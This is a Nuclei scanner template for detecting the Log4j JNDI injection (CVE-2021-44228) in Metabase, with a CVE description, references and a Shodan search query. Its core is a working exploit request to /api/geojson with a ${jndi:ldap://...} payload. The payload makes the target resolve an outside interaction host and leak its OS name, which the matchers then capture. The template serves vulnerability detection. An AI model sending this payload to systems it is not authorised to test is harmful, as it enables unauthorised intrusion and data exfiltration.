id: metabase-log4j

info:
  name: Metabase - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: The vulnerability exists due to incomplete patch in Apache Log4j 2.15.0 for a code injection vulnerability VU58816 (CVE-2021-44228) in certain non-default configurations. A remote attacker with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) can pass malicious data using a JNDI Lookup pattern and perform a denial of service (DoS) attack, exfiltrate data or execute arbitrary code.
  reference:
    - https://www.cybersecurity-help.cz/vdb/SB2021121706
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  metadata:
    verified: true
    shodan-query: title:"Metabase"
  tags: cve,cve2021,rce,jndi,log4j,metabase

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/geojson?url=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+'  # Match for extracted ${sys:os.name} variable

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${sys:os.name} in output